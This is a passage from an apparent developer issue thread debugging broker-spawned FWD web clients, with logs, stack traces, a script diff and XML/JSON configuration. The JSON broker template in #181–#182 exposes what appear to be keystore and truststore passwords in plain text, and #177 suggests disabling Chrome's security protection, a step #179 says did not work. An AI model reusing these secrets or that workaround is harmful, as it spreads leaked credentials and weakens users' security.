25/10/20 11:59:58.685-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (b537bc27-57a0-42e8-a4dd-38bf2669e8cd)
25/10/20 11:59:58.686-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/20 11:59:58.690-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[561]
25/10/20 11:59:58.691-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=192.168.1.227, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, server:spawner:uuid=b537bc27-57a0-42e8-a4dd-38bf2669e8cd]
25/10/20 11:59:58.692-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 5
25/10/20 11:59:58.693-0400 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:179)
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/broker.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx512m.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 7 is: -classpath.
INFO: The argument number 8 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 10 is: net:server:host=fwddev1.
INFO: The argument number 11 is: net:socket:nio=false.
INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
INFO: The argument number 13 is: net:connection:secure=true.
INFO: The argument number 14 is: net:server:secure_port=3333.
INFO: The argument number 15 is: sso:subject:id=bogus.
INFO: The argument number 16 is: sso:storage:id=storage-hotel.
INFO: The argument number 17 is: client:web:host=192.168.1.227.
INFO: The argument number 18 is: remote:agent:dedicatedMode=false.
INFO: The argument number 19 is: server:spawner:uuid=b537bc27-57a0-42e8-a4dd-38bf2669e8cd.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/broker).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/broker.
On my browser (which is my laptop, (192.168.1.227):
192.168.1.227 refused to connect.
#164 Updated by Sergey Ivanovskiy 9 months ago
Yes, this is expected, WebClientBuilderParameters.webClientHost was incorrectly set by request external IP address that should not get the preassigned host fwddev1. I should change the code. Another point is that you said that you observed null host url. Can you reproduce null host url?
#165 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Yes, this is expected,
WebClientBuilderParameters.webClientHostwas incorrectly set by request external IP address that should not get the preassigned hostfwddev1. I should change the code.
So my configuration should work?
Another point is that you said that you observed null host url. Can you reproduce null host url?
Yes... I just remove the below to turn off SSO:
<node-attribute name="ssoplugin" value="com.goldencode.hotel.HotelGuiSsoAuthenticator"/>
<node-attribute name="ssopluginoption" value="bogus"/>
#166 Updated by Sergey Ivanovskiy 9 months ago
Yes, I reproduced null url without SSO plugin and observed that client:web:port parameter is also missed if the broker client initiates the spawned process. So please wait several minutes and I will commit new version in 9709b.
#167 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Yes, I reproduced null url without SSO plugin and observed that
client:web:portparameter is also missed if the broker client initiates the spawned process. So please wait several minutes and I will commit new version in 9709b.
Thanks!
#168 Updated by Sergey Ivanovskiy 9 months ago
Roger, all parameters issues are related to cached spawn command com.goldencode.p2j.main.NativeSecureConnection.command that is used by the native spawner C code to start the web client. I just confused myself and stressed to find missed parameters. Sorry for delaying this commit.
#169 Updated by Sergey Ivanovskiy 9 months ago
Roger, please update your version of 9709b with the committed revision 16227.
#170 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Roger, please update your version of 9709b with the committed revision 16227.
Updating...
I was working on updates to prepare_dir.sh which would generate the sections in directory.xml for brokers and generate broker_client.xml files, based upon input from the JSON.
I found that client.sh adds settings to the command-line for ClientDriver that could conflict with settings in the bootstrap XML. The command-line seems to "win" if there is a conflict. This is why I have to add -b to the client.sh command-line. When I don't, there is an error:
25/10/20 16:21:59.825-0400 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.lang.RuntimeException: Only process accounts are allowed.
at com.goldencode.p2j.main.BrokerManager.registerBroker(BrokerManager.java:229)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at com.goldencode.p2j.util.MethodInvoker.invoke(MethodInvoker.java:126)
at com.goldencode.p2j.net.Dispatcher.processInbound(Dispatcher.java:808)
at com.goldencode.p2j.net.Conversation.block(Conversation.java:418)
at com.goldencode.p2j.net.Conversation.run(Conversation.java:237)
at java.base/java.lang.Thread.run(Thread.java:840)
The -b option results in net:connection:secure=false net:server:secure_port=3333 net:server:insecure_port=3433 added to the ClientDriver line. The strange thing is, I have that set in the broker1_client.xml:
<net>
<connection secure="true" />
<server host="fwddev1" />
<server secure_port="3333" />
<server port="3433" />
</net>
#171 Updated by Sergey Ivanovskiy 9 months ago
For me this command seems working
export TERM=xterm;./client.sh -cbroker1_client.xml
It is interesting that with these changes I can reproduce with broker
dedicatedMode = true
25/10/20 23:38:26.079+0300 | FINE | org.eclipse.jetty.io.FillInterest | PID:63782, ThreadName:qtp1873091796-43 | onFail FillInterest@6475d933{null}
javax.net.ssl.SSLHandshakeException: Read error: ssl=0x723a840083d8: Failure in SSL library, usually a protocol error
error:10000416:SSL routines:OPENSSL_internal:SSLV3_ALERT_CERTIFICATE_UNKNOWN (../ssl/tls_record.cc:594 0x723a7c018cd8:0x00000001)
at org.conscrypt.SSLUtils.toSSLHandshakeException(SSLUtils.java:361)
at org.conscrypt.ConscryptEngine.convertException(ConscryptEngine.java:1138)
at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:923)
at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:751)
at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:716)
at org.conscrypt.Java8EngineWrapper.unwrap(Java8EngineWrapper.java:236)
at org.eclipse.jetty.io.ssl.SslConnection.unwrap(SslConnection.java:429)
at org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.fill(SslConnection.java:718)
at org.eclipse.jetty.server.HttpConnection.fillRequestBuffer(HttpConnection.java:350)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:260)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
at org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.onFillable(SslConnection.java:555)
at org.eclipse.jetty.io.ssl.SslConnection.onFillable(SslConnection.java:410)
at org.eclipse.jetty.io.ssl.SslConnection$2.succeeded(SslConnection.java:164)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034)
at java.lang.Thread.run(Thread.java:750)
Caused by: javax.net.ssl.SSLProtocolException: Read error: ssl=0x723a840083d8: Failure in SSL library, usually a protocol error
error:10000416:SSL routines:OPENSSL_internal:SSLV3_ALERT_CERTIFICATE_UNKNOWN (../ssl/tls_record.cc:594 0x723a7c018cd8:0x00000001)
at org.conscrypt.NativeCrypto.ENGINE_SSL_read_direct(Native Method)
at org.conscrypt.NativeSsl.readDirectByteBuffer(NativeSsl.java:567)
at org.conscrypt.ConscryptEngine.readPlaintextDataDirect(ConscryptEngine.java:1099)
at org.conscrypt.ConscryptEngine.readPlaintextDataHeap(ConscryptEngine.java:1119)
at org.conscrypt.ConscryptEngine.readPlaintextData(ConscryptEngine.java:1091)
at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:880)
... 17 more
25/10/20 23:38:26.079+0300 | FINE | org.eclipse.jetty.server.HttpConnection | PID:63782, ThreadName:qtp1873091796-43 |
javax.net.ssl.SSLHandshakeException: Read error: ssl=0x723a840083d8: Failure in SSL library, usually a protocol error
error:10000416:SSL routines:OPENSSL_internal:SSLV3_ALERT_CERTIFICATE_UNKNOWN (../ssl/tls_record.cc:594 0x723a7c018cd8:0x00000001)
at org.conscrypt.SSLUtils.toSSLHandshakeException(SSLUtils.java:361)
at org.conscrypt.ConscryptEngine.convertException(ConscryptEngine.java:1138)
at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:923)
at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:751)
at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:716)
at org.conscrypt.Java8EngineWrapper.unwrap(Java8EngineWrapper.java:236)
at org.eclipse.jetty.io.ssl.SslConnection.unwrap(SslConnection.java:429)
at org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.fill(SslConnection.java:718)
at org.eclipse.jetty.server.HttpConnection.fillRequestBuffer(HttpConnection.java:350)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:260)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
at org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.onFillable(SslConnection.java:555)
at org.eclipse.jetty.io.ssl.SslConnection.onFillable(SslConnection.java:410)
at org.eclipse.jetty.io.ssl.SslConnection$2.succeeded(SslConnection.java:164)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034)
at java.lang.Thread.run(Thread.java:750)
Caused by: javax.net.ssl.SSLProtocolException: Read error: ssl=0x723a840083d8: Failure in SSL library, usually a protocol error
error:10000416:SSL routines:OPENSSL_internal:SSLV3_ALERT_CERTIFICATE_UNKNOWN (../ssl/tls_record.cc:594 0x723a7c018cd8:0x00000001)
at org.conscrypt.NativeCrypto.ENGINE_SSL_read_direct(Native Method)
at org.conscrypt.NativeSsl.readDirectByteBuffer(NativeSsl.java:567)
at org.conscrypt.ConscryptEngine.readPlaintextDataDirect(ConscryptEngine.java:1099)
at org.conscrypt.ConscryptEngine.readPlaintextDataHeap(ConscryptEngine.java:1119)
at org.conscrypt.ConscryptEngine.readPlaintextData(ConscryptEngine.java:1091)
at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:880)
... 17 more
25/10/20 23:38:26.079+0300 | FINE | org.eclipse.jetty.http.HttpParser | PID:63782, ThreadName:qtp1873091796-43 | atEOF HttpParser{s=START,0 of -1}
#172 Updated by Sergey Ivanovskiy 9 months ago
- File directory.xml
added
This is my directory xml for Hotel GUI.
#173 Updated by Sergey Ivanovskiy 9 months ago
but client.sh has diff:
=== modified file 'deploy/client/client.sh' --- old/deploy/client/client.sh 2025-10-13 21:26:26 +0000 +++ new/deploy/client/client.sh 2025-10-15 21:07:48 +0000 @@ -14,12 +14,12 @@ prog="java" dump="-XX:+HeapDumpOnOutOfMemoryError" #dump="-XX:+HeapDumpOnOutOfMemoryError -XX:OnOutOfMemoryError='./stack_dump.sh %p'" -host="net:server:host=localhost" +host1="net:server:host=localhost" batch_parms="client:mode:batch=true client:driver:background=true" driver_type="gui" instance=0 portbase=3333 -secure=false +secure=true portstep=100 # Set this to debug the ssl handshake and include in jvm parms #ssl_debug="-Djavax.net.debug=ssl:handshake"
#174 Updated by Roger Borrello 9 months ago
- File fwd_client_base_crash_20251020_170519.log
added
Sergey Ivanovskiy wrote:
Roger, please update your version of 9709b with the committed revision 16227.
The URL generated is better. I get an error in the web browser:
The webpage at https://fwddev2:7449/index.html?token=50f010cb3ad9ecdaa02132b52ec26fa8 might be temporarily down or it may have moved permanently to a new web address.
On the broker client:
INFO: Spawn process started with pid 3822.
25/10/20 17:03:16.013-0400 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/10/20 17:03:16.474-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:33921 -> fwddev1/192.168.1.241:3333
25/10/20 17:03:16.477-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/20 17:03:16.479-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/20 17:03:16.481-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 17:03:16.482-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 17:03:16.483-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/20 17:03:16.484-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/20 17:03:16.485-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/20 17:03:16.488-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 17:03:16.489-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 17:03:16.491-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/20 17:03:16.492-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/20 17:03:16.493-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'A1mxI4oJ944d6a71'
25/10/20 17:03:16.857-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/20 17:03:16.862-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/20 17:03:16.888-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/20 17:03:16.896-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/20 17:03:16.899-0400 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/20 17:03:16.900-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (01668593-5122-4257-9c2e-6c288a75b266)
25/10/20 17:03:16.901-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/20 17:03:16.909-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[591]
25/10/20 17:03:16.910-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=01668593-5122-4257-9c2e-6c288a75b266]
25/10/20 17:03:16.910-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 9
25/10/20 17:03:16.912-0400 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:179)
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/broker.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx512m.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 7 is: -classpath.
INFO: The argument number 8 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 10 is: net:server:host=fwddev1.
INFO: The argument number 11 is: net:socket:nio=false.
INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
INFO: The argument number 13 is: net:connection:secure=true.
INFO: The argument number 14 is: net:server:secure_port=3333.
INFO: The argument number 15 is: sso:subject:id=bogus.
INFO: The argument number 16 is: sso:storage:id=storage-hotel.
INFO: The argument number 17 is: client:web:host=fwddev2.
INFO: The argument number 18 is: remote:agent:dedicatedMode=false.
INFO: The argument number 19 is: client:web:port=7449.
INFO: The argument number 20 is: server:spawner:uuid=01668593-5122-4257-9c2e-6c288a75b266.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/broker).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/broker.
In the server log:
25/10/20 17:03:03.884-0400 | INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000002:broker1_process], Session:00000002, ThreadId:00000005, User:broker1_process | Broker user=broker1_process uuid=e11829d5-f3bf-45d6-be81-70aa8ddd16c1 registered. 25/10/20 17:03:15.553-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1608003630-64 | not available host:port fwddev2/192.168.1.162:7449. 25/10/20 17:03:20.436-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp1608003630-64 | Returns the redirect url https://fwddev2:7449/index.html?token=50f010cb3ad9ecdaa02132b52ec26fa8 as response to GUI client.
I see that the spawn process stopped on fwddev2. There are many of the Certificate errors:
25/10/20 17:17:00.103-0400 | FINE | org.eclipse.jetty.io.ssl.SslConnection | PID:4292, ThreadName:qtp194415222-27 | DecryptedEndPoint@1223c285{l=/192.168.1.162:7452,r=/192.168.1.227:51500,OPEN,fill=-,flush=-,to=51/30000} stored fill exception
javax.net.ssl.SSLHandshakeException: Read error: ssl=0x74f0ec0092e8: Failure in SSL library, usually a protocol error
error:10000416:SSL routines:OPENSSL_internal:SSLV3_ALERT_CERTIFICATE_UNKNOWN (../ssl/tls_record.cc:594 0x74f0f40150b8:0x00000001)
Log is attached.
#175 Updated by Sergey Ivanovskiy 9 months ago
Yes, I have the same issue. At this moment investigating what can cause this issue:
25/10/20 23:38:25.971+0300 | INFO | org.eclipse.jetty.util.ssl.SslContextFactory | PID:63782, ThreadName:main | x509=X509@1e44b638(standard,h=[localhost],a=[],w=[]) for Server@7a3793c7[provider=Conscrypt,keyStore=null,trustStore=null]
25/10/20 23:38:25.971+0300 | INFO | org.eclipse.jetty.util.ssl.SslContextFactory | PID:63782, ThreadName:main | Unable to get KeyManagerFactory instance for algorithm [SunX509] on provider [Conscrypt], using default
25/10/20 23:38:25.971+0300 | FINE | org.eclipse.jetty.util.ssl.SslContextFactory | PID:63782, ThreadName:main |
java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt
at sun.security.jca.GetInstance.getService(GetInstance.java:87)
at sun.security.jca.GetInstance.getInstance(GetInstance.java:206)
at javax.net.ssl.KeyManagerFactory.getInstance(KeyManagerFactory.java:181)
at org.eclipse.jetty.util.ssl.SslContextFactory.getKeyManagerFactoryInstance(SslContextFactory.java:1803)
at org.eclipse.jetty.util.ssl.SslContextFactory.getKeyManagers(SslContextFactory.java:1248)
at org.eclipse.jetty.util.ssl.SslContextFactory$Server.getKeyManagers(SslContextFactory.java:2364)
at org.eclipse.jetty.util.ssl.SslContextFactory.load(SslContextFactory.java:373)
at org.eclipse.jetty.util.ssl.SslContextFactory.doStart(SslContextFactory.java:244)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLifeCycle.java:73)
at org.eclipse.jetty.util.component.ContainerLifeCycle.start(ContainerLifeCycle.java:169)
at org.eclipse.jetty.util.component.ContainerLifeCycle.doStart(ContainerLifeCycle.java:117)
at org.eclipse.jetty.server.SslConnectionFactory.doStart(SslConnectionFactory.java:97)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLifeCycle.java:73)
at org.eclipse.jetty.util.component.ContainerLifeCycle.start(ContainerLifeCycle.java:169)
at org.eclipse.jetty.util.component.ContainerLifeCycle.doStart(ContainerLifeCycle.java:117)
at org.eclipse.jetty.server.AbstractConnector.doStart(AbstractConnector.java:323)
at org.eclipse.jetty.server.AbstractNetworkConnector.doStart(AbstractNetworkConnector.java:81)
at org.eclipse.jetty.server.ServerConnector.doStart(ServerConnector.java:234)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLifeCycle.java:73)
at org.eclipse.jetty.server.Server.doStart(Server.java:401)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLifeCycle.java:73)
at com.goldencode.p2j.web.GenericWebServer.startup(GenericWebServer.java:653)
at com.goldencode.p2j.web.GenericWebServer.startup(GenericWebServer.java:599)
at com.goldencode.p2j.ui.client.driver.web.EmbeddedWebServerImpl.startupServer(EmbeddedWebServerImpl.java:240)
at com.goldencode.p2j.ui.client.gui.driver.web.GuiWebDriver.startupServer(GuiWebDriver.java:1548)
at com.goldencode.p2j.main.WebClientSpawner$TemporaryClientTask.doWork(WebClientSpawner.java:431)
at com.goldencode.p2j.main.ClientCore.processTemporaryClient(ClientCore.java:901)
at com.goldencode.p2j.main.ClientCore.start(ClientCore.java:530)
at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:289)
at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
#176 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
This is my directory xml for Hotel GUI.
The only differences...
You should be able to remove the below section from clientConfig:
<node class="string" name="defaultKeyboardLayoutId">
<node-attribute name="value" value="US"/>
</node>
<node class="container" name="keyboardLayouts">
<node class="keyboardLayout" name="US">
<node-attribute name="id" value="US"/>
<node-attribute name="label" value="English (US)"/>
<node-attribute name="layout" value="USKeyboardLayout"/>
</node>
<node class="keyboardLayout" name="GB">
<node-attribute name="id" value="GB"/>
<node-attribute name="label" value="English (UK, Extended Win Keys)"/>
<node-attribute name="layout" value="GBExtWinKeysKeyboardLayout"/>
</node>
</node>
And this is something I was told to remove in the persistance area:
<node class="boolean" name="dirty-cross-share">
<node-attribute name="value" value="FALSE"/>
</node>
<node class="boolean" name="dirty-intra-share">
<node-attribute name="value" value="FALSE"/>
</node>
<node class="boolean" name="force-dirty-cross-share">
<node-attribute name="value" value="FALSE"/>
</node>
<node class="boolean" name="force-dirty-intra-share">
<node-attribute name="value" value="FALSE"/>
</node>
<node class="boolean" name="dirty-share-global-notifications">
<node-attribute name="value" value="FALSE"/>
</node>
For sure the first suggestion... the second is something I was told to remove.
#177 Updated by Sergey Ivanovskiy 9 months ago
Roger, please try to turn off security protection in Chrome browser, not recommended. For me it resolved this issue.
#179 Updated by Sergey Ivanovskiy 9 months ago
No, it is not working but I just got once a false positive result.
#180 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
No, it is not working but I just got once a false positive result.
:-)
#181 Updated by Roger Borrello 9 months ago
- File directory_broker.xml.template added
- File broker_client.xml.template added
I would like some input on the creation of the broker configuration. Basically, we have a broker template for inclusion into the directory (directory_broker.xml.template) and a template for creation of the bootstrap file (broker_client.xml.template) which would be named according to the broker name.
The JSON would have sections in it (based off the number of brokers):
"brokers": "broker1,broker2",
"broker1" : {
"broker_process_description" : "Broker1 Process",
"broker_process_name" : "broker1_process",
"broker_name": "broker1",
"broker_name_alias": "broker1",
"broker_osname": "rfb",
"broker_start_dir": "/home/fwd/projects/hotel_gui/deploy/broker",
"net_server_host": "rfb",
"security_truststore_filename": "srv-certs.store",
"security_keystore_filename": "broker1-private-key.store",
"broker_name_alias": "broker1",
"access_truststore": "y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd",
"access_keystore": "(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O",
"access_keyentry": "dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx",
"access_masterkeyentry": "7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x",
"remote_retry_count": 10,
"remote_retry_seconds": 10,
"remote_spawner_path": "/opt/spawner/spawn",
"remote_agent_host": "fwddev1",
"remote_agent_osname": "fwd",
"remote_agent_dedicated_mode": "false",
"remote_fwd_path": "/home/fwd/projects/p2j"
},
"broker2" : {
"broker_process_description" : "Broker2 Process",
"broker_process_name" : "broker2_process",
"broker_name": "broker2",
"broker_name_alias": "broker2",
"broker_osname": "rfb",
"broker_start_dir": "/home/fwd/projects/hotel_gui/deploy/broker",
"net_server_host": "rfb",
"security_truststore_filename": "srv-certs.store",
"security_keystore_filename": "broker2-private-key.store",
"broker_name_alias": "broker2",
"access_truststore": "y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd",
"access_keystore": "(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O",
"access_keyentry": "dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx",
"access_masterkeyentry": "7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x",
"remote_retry_count": 10,
"remote_retry_seconds": 10,
"remote_spawner_path": "/opt/spawner/spawn",
"remote_agent_host": "fwddev2",
"remote_agent_osname": "fwd",
"remote_agent_dedicated_mode": "false",
"remote_fwd_path": "/home/fwd/projects/p2j"
}
We always have the option to minimize the number of values, and have other values derive from the configured ones, for example, the broker_process_name could be the broker_name with _process appended to the end. The above example has net_server_host=rfb as the sample I want to build would have fwddev1 and fwddev2 as brokers servicing the standard server, rfb.
The access key info may be created "on-the-fly" via a call to SSLCertGenUtil, and extracted from the log file. But should that be done everytime, or just a onetime thing and the prepare_dir.json be saved off... Constantin designed similar for radius's configuration, with prepare_env.sh utilizing a pre-configured JSON for the rest of the configuration.
Is there any benefit to making this capability separate from prepare_dir.sh so that it could be run separately and "added" to an existing directory.xml? Or should we build directory.xml in completeness each time?
#182 Updated by Sergey Ivanovskiy 9 months ago
it seems that even these values
"security_truststore_filename": "srv-certs.store",
"security_keystore_filename": "broker1-private-key.store",
"broker_name_alias": "broker1",
"access_truststore": "y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd",
"access_keystore": "(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O",
"access_keyentry": "dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx",
"access_masterkeyentry": "7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x"
persist and the same for all generated broker, we should update directory xml after the new broker is added. We should run
SSLCertGenUtil selecting an option to preserve all old (existed) entries and passwords in order to add new private key and public certificate for new broker. If we change only remote agent parameters, then we should not run SSLCertGenUtil and should not update directory xml too. I think that if brokers in directory are updated, then SSLCertGenUtil should be executed. So it should be the first update of the directory and then there should be the second update by SSLCertGenUtil.
Currently we have the SSLV3_ALERT_CERTIFICATE_UNKNOWN issue that blocks testing these configurations because the root causes can be incorrectly generated certificates.
#183 Updated by Sergey Ivanovskiy 9 months ago
I tried to compare output parameters dumped into web client log for local spawned web client and remotely spawned web client, these parameters should be the same but I have no idea why there is a difference in ACCESS:PASSWORD:TRUSTSTORE for these two types of local and remote start:
Locally started web client:
SECURITY:TRUSTSTORE:ALIAS = standard
